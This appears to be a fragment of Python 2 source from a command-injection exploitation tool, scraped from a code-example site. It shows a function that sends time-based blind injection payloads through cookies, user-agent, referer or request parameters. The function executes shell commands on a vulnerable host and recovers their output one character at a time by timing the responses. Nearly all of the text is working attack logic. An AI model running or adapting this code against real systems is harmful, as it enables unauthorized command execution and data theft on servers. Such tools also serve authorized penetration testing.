            sys.stdout.write("\r" + settings.print_info_msg(info_msg))
            sys.stdout.flush()
          else:
            output.append(chr(ascii_char))
          injection_check = False  
          break
    
    check_end  = time.time()
    check_how_long = int(check_end - check_start)
    output = "".join(str(p) for p in output)
    
    # Check for empty output.
    if output == (len(output) * " "):
      output = ""

  else:
    check_start = 0
    if not settings.VERBOSITY_LEVEL >= 1:
      sys.stdout.write("[" +Fore.RED+ " FAILED " + Style.RESET_ALL+ "]")
      sys.stdout.flush()
    else:
      print ""
    check_how_long = 0
    output = False

  if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
    print ""
  return  check_how_long, output
Esempio n. 6
0
def injection(separator, maxlen, TAG, cmd, prefix, suffix, delay,
              http_request_method, url, vuln_parameter, alter_shell, filename):

    if menu.options.file_write or menu.options.file_upload:
        minlen = 0
    else:
        minlen = 1

    found_chars = False

    sys.stdout.write("(*) Retrieving the length of execution output... ")
    sys.stdout.flush()

    for output_length in range(int(minlen), int(maxlen)):

        if alter_shell:
            # Execute shell commands on vulnerable host.
            payload = tb_payloads.cmd_execution_alter_shell(
                separator, cmd, output_length, delay, http_request_method)
        else:
            # Execute shell commands on vulnerable host.
            payload = tb_payloads.cmd_execution(separator, cmd, output_length,
                                                delay, http_request_method)

        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)

        if menu.options.base64:
            payload = base64.b64encode(payload)

        # Check if defined "--verbose" option.
        if menu.options.verbose:
            sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
                             payload.replace("\n", "\\n") + Style.RESET_ALL)

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
            how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
            how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
            how_long = referer_injection_test(url, vuln_parameter, payload)

        else:
            how_long = examine_requests(payload, vuln_parameter,
                                        http_request_method, url)

        if how_long >= delay:
            if output_length > 1:
                if menu.options.verbose:
                    print "\n"
                else:
                    sys.stdout.write("[" + Fore.GREEN + " SUCCEED " +
                                     Style.RESET_ALL + "]\n")
                    sys.stdout.flush()
                print Style.BRIGHT + "(!) Retrieved " + str(
                    output_length) + " characters." + Style.RESET_ALL
                found_chars = True
            break

    if found_chars == True:
        num_of_chars = output_length + 1
        check_start = 0
        check_end = 0
        check_start = time.time()

        output = []

        percent = 0
        sys.stdout.write("\r(*) Grabbing the output, please wait... [ " +
                         str(percent) + "% ]")
        sys.stdout.flush()

        for num_of_chars in range(1, int(num_of_chars)):
            for ascii_char in range(32, 129):

                if alter_shell:
                    # Get the execution output, of shell execution.
                    payload = tb_payloads.get_char_alter_shell(
                        separator, cmd, num_of_chars, ascii_char, delay,
                        http_request_method)
                else:
                    # Get the execution output, of shell execution.
                    payload = tb_payloads.get_char(separator, cmd,
                                                   num_of_chars, ascii_char,
                                                   delay, http_request_method)

                # Fix prefixes / suffixes
                payload = parameters.prefixes(payload, prefix)
                payload = parameters.suffixes(payload, suffix)

                if menu.options.base64:
                    payload = base64.b64encode(payload)

                # Check if defined "--verbose" option.
                if menu.options.verbose:
                    sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
                                     payload.replace("\n", "\\n") +
                                     Style.RESET_ALL)

                # Check if defined cookie with "INJECT_HERE" tag
                if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
                    how_long = cookie_injection_test(url, vuln_parameter,
                                                     payload)

                # Check if defined user-agent with "INJECT_HERE" tag
                elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
                    how_long = user_agent_injection_test(
                        url, vuln_parameter, payload)

                # Check if defined referer with "INJECT_HERE" tag
                elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
                    how_long = referer_injection_test(url, vuln_parameter,
                                                      payload)

                else:
                    how_long = examine_requests(payload, vuln_parameter,
                                                http_request_method, url)

                if how_long >= delay:
                    if not menu.options.verbose:
                        output.append(chr(ascii_char))
                        percent = ((num_of_chars * 100) / output_length)
                        float_percent = "{0:.1f}".format(
                            round(
                                ((num_of_chars * 100) / (output_length * 1.0)),
                                2))
                        sys.stdout.write(
                            "\r(*) Grabbing the output, please wait... [ " +
                            str(float_percent) + "% ]")
                        sys.stdout.flush()
                    else:
                        output.append(chr(ascii_char))
                    break

        check_end = time.time()
        check_how_long = int(check_end - check_start)
        output = "".join(str(p) for p in output)

        # Check for empty output.
        if output == (len(output) * " "):
            output = ""

    else:
        check_start = 0
        if not menu.options.verbose:
            sys.stdout.write("[" + Fore.RED + " FAILED " + Style.RESET_ALL +
                             "]\n")
            sys.stdout.flush()
        else:
            print ""
        check_how_long = 0
        output = False

    return check_how_long, output